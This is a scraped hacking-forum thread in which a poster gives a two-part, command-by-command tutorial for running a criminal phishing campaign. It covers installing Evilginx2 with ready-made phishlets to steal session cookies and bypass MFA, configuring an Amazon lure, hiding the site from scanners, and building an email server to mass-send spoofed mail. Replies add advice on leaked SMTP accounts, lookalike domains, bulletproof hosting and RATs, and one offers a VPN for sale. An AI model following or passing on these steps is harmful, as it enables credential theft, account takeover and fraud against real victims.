+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Setup Email Server for Spamming and Phishing (/showthread.php?tid=6270911)
Setting up your Phishing page - 8day - May 12, 2024
Hello, Im gonna start this off by saying this can either A. make you a shit load of money or B. Get you thrown in jail, depends on what you do with your stolen data.
Step1: Get a server
The first step for any phishing campaign is aquiring a relatively cheap VPS to host your page. The best place for this is Panamaserver.com in my opinion. They let you pay with crypto currency (although not XMR sadly) so thats good, and the prices are really chreap. For your os, Chose debian as that will work the best for this.
Step2: Get a phishing domain
In order to figure out what some phishing domains are, i reccomend installing dnstwist on a kali machine and running the domain of the site your using in your attack through it to find available domains. I reccomend using namecheap to buy your domain as they have fairly cheap prices and wont ban it quickly which is always neat.
Step3(time to type): Installing Evilginx2
First off, Evilginx2 is a MiTM phishing framework what also steals session cookies, which can be used to bypass MFA.
To install this we need to run the follwoing
First, Make sure wget is installed.
sudo apt update
sudo apt install wget -y
Next, we need to install Go.
wget https://golang.org/dl/go1.17.linux-amd64.tar.gz
Now we install Go.
sudo tar -zxvf go1.17.linux-amd64.tar.gz -C /usr/local/
Next, we configure PATH
echo "export PATH=/usr/local/go/bin:${PATH}" | sudo tee /etc/profile.d/go.sh
source /etc/profile.d/go.sh
Now we install Evilginx. I prefer this repo as it already as phishlets and saves you some time of hunting down/ Making your own.
sudo apt-get -y install git make
git clone https://github.com/BakkerJan/evilginx2.git
cd evilginx2
make
After this, Install Globally.
sudo make install
And now run.
sudo evilginx
Step4 Create Page.
Upon running. you will see a list of pages that are all disabled, pick your page of choice, but first we need to configure Evilginx so that we dont have problems
config domain <yourdomain>
config ip <yourIP>
blacklist unauth
The blacklist command is to block your site from scanners. YOU WANT TO DO THIS.
Next, pick your phishlet(phishing page) of choice
phishlets hostname amazon <your domain name>
phishlets enable amazon
Now its time to setup our lure for this site. This is the actual phishing page its self.
lures create amazon
lures edit 0 redirect_url https://amazon.com
lures get-url 0
After running lures get-url 0 you should see a link appear on screen, this is your phishing link.
In another tutorial, i will teach you how to create a email server for spamming mass emails that will land in inbox.
If you have any questions, google it or ask chatgpt
If you find my posts useful please consider donating !
BITCOIN: 3GFWnF9G2vXtSi24p1saQGjPuJHenawLuY
XMR: 82Z4kzrgaB6iV9C8QVStSWVosx9Wn6nu3WUQ9wwdJ4MKQSokRG1wDDLCdH5mpigW5JidAEH5VWZsbJFD9epJkNdf4gvJQj9
Setup Email Server for Spamming and Phishing - 8day - May 12, 2024
This is a part 2 to my first tutorial, go read that before this
---------------------
PHISHING GUIDE PT 2:
CREATING EMAIL SERVER
So youve read part 1 and setup your evilginx2 server and setup your phishlets and are ready to setup your email server to begin sending.
So today we will be discussing how to setup an SMTP server and how to send mass emails with any address that you feel.
There are two ways you can go about this, 1 is using brevo, the free tier gives you 300 emails a day and smtp access. This is good for relatively small campaigns and you can set it up with a throw away gmail account. the 2 way isnt free but allows unlimited emails per day and this is what we will be covering.
Requirements:
- Debain server. Use panamaserver.com for this
- Domain. namescheap is the best option.
- MX records in your DNS settings.
- SSL for your mail subdomain.
Lets start.
Setp1: install email server script
First, on your server which should already have a domain setup, create a subdomain called smtp or mail or whatever. this will be the domain for your emails so mail.dumbass.com
after thats setup. make sure you have ssl for that subdomain as well. and then we can install our email server
to do this run these commands
Code:
sudo apt-get install git
sudo git install https://github.com/LukeSmithxyz/emailwiz.git
cd emailwiz
chmod +x /emailwiz.sh
./emailwiz.sh
This will install everything required for sending and recieving emails.
At some point during the script install you should be prompted to add txt records to your dns records. this can be done through your domain provider
after adding these, and creating a user on the mail server. we can move to step 2
Step2: Spamming
This can be done locally so switch back to your local terminal and follow along
This can be done on a KaliVm, we will be using a tool called sendemail for this
Make sure you have your smtp address, port, and account and password because you will need them
run this command in kali as root
Code:
sendemail -xu [username] -xp [passsword] -s [smtp domain:port] -f "SENDER_EMAIL" -t "TO_EMAIL" -u "SUBJECT" -m "MESSAGE"
Replace whats in the quotes with the required inputs, to send to multiple emails simply use [] and put multiple emails inside.
Thats it and If you find my posts useful please consider donating !
BITCOIN: 3GFWnF9G2vXtSi24p1saQGjPuJHenawLuY
XMR: 82Z4kzrgaB6iV9C8QVStSWVosx9Wn6nu3WUQ9wwdJ4MKQSokRG1wDDLCdH5mpigW5JidAEH5VWZsbJFD9epJkNdf4gvJQj9
RE: Setup Email Server for Spamming and Phishing - happygonutty - May 14, 2024
Hi there OP and good day to you! Good share in regards with Evilginx. I have been using that for a while now till this day. I hope people notice your post. Good and quality post by the way, I have given you a popularity point. Keep up the good work my friend.
RE: Setup Email Server for Spamming and Phishing - 21bman - Nov 11, 2024
(May 14, 2024 07:43 AM)happygonutty Wrote: Hi there OP and good day to you! Good share in regards with Evilginx. I have been using that for a while now till this day. I hope people notice your post. Good and quality post by the way, I have given you a popularity point. Keep up the good work my friend.
Hey man can you try to dm me? I need help with creating it.
RE: Setup Email Server for Spamming and Phishing - Dankanmighty0803 - Mar 7, 2025
Good quality post .. pls dm me
RE: Setup Email Server for Spamming and Phishing - ßlürry - Oct 14, 2025
much appreciated thank you
RE: Setup Email Server for Spamming and Phishing - Just4kickz - Aug 2, 2026
Nice one,
Would you still recommend this method and its VPS ect?
Sorry pretty green to this
RE: Setup Email Server for Spamming and Phishing - DeathPenalty666 - Aug 2, 2026
(Aug 2, 2026 02:39 AM)Just4kickz Wrote: Nice one,
Would you still recommend this method and its VPS ect?
Sorry pretty green to this
for mailer just buy a mailbomber like blackmail it will cost you 25$ lifetime instead of a server at 10 or more, get premium smtp and you can use leaked one too! using a sever to run your mailing may leak them to the server where your name will be linked to when the mailer you just can run vpn proy whateve4r. for the mith website yes you need vps, domain for physing but you can find identical domain name usng letter from other alphabet replacing the legit a be a variant, setup evilgnix2 etx like they said.
also with a vps for mailing is anything happen,m server is taken down, theyhave a downtime or you fet hacked you are down too and you pay to host it so better to get a good mailer!!!
RE: Setup Email Server for Spamming and Phishing - Just4kickz - Aug 2, 2026
(Aug 2, 2026 03:40 AM)DeathPenalty666 Wrote: for mailer just buy a mailbomber like blackmail it will cost you 25$ lifetime instead of a server at 10 or more, get premium smtp and you can use leaked one too! using a sever to run your mailing may leak them to the server where your name will be linked to when the mailer you just can run vpn proy whateve4r. for the mith website yes you need vps, domain for physing but you can find identical domain name usng letter from other alphabet replacing the legit a be a variant, setup evilgnix2 etx like they said.
also with a vps for mailing is anything happen,m server is taken down, theyhave a downtime or you fet hacked you are down too and you pay to host it so better to get a good mailer!!!
Sounds good, I’m planning to jump on tomorrow and have a start. I’m just really green and asking if those recommended VPS / VPNs are still ideal or useable / trustworthy
RE: Setup Email Server for Spamming and Phishing - DeathPenalty666 - Aug 2, 2026
(Aug 2, 2026 03:58 AM)Just4kickz Wrote: Sounds good, I’m planning to jump on tomorrow and have a start. I’m just really green and asking if those recommended VPS / VPNs are still ideal or useable / trustworthy
if you want a vpn bro i have one for sell currently!!! it have a dedicated ip from use lifetime worth 150$ and the vpn is like 50$. im asking 150... With a dedicated ip what i love is if you run rats or anything you want access anytme from anywhere you are alway running. your server go down, get another one set it up and voila!
fir vps honnestly there is so much... i would recommand you a bulletproof one. Im sorry but i cant help you with this i am a self hosting kind :( wait for a few reply and take a look over the hosting post.
Hosting Services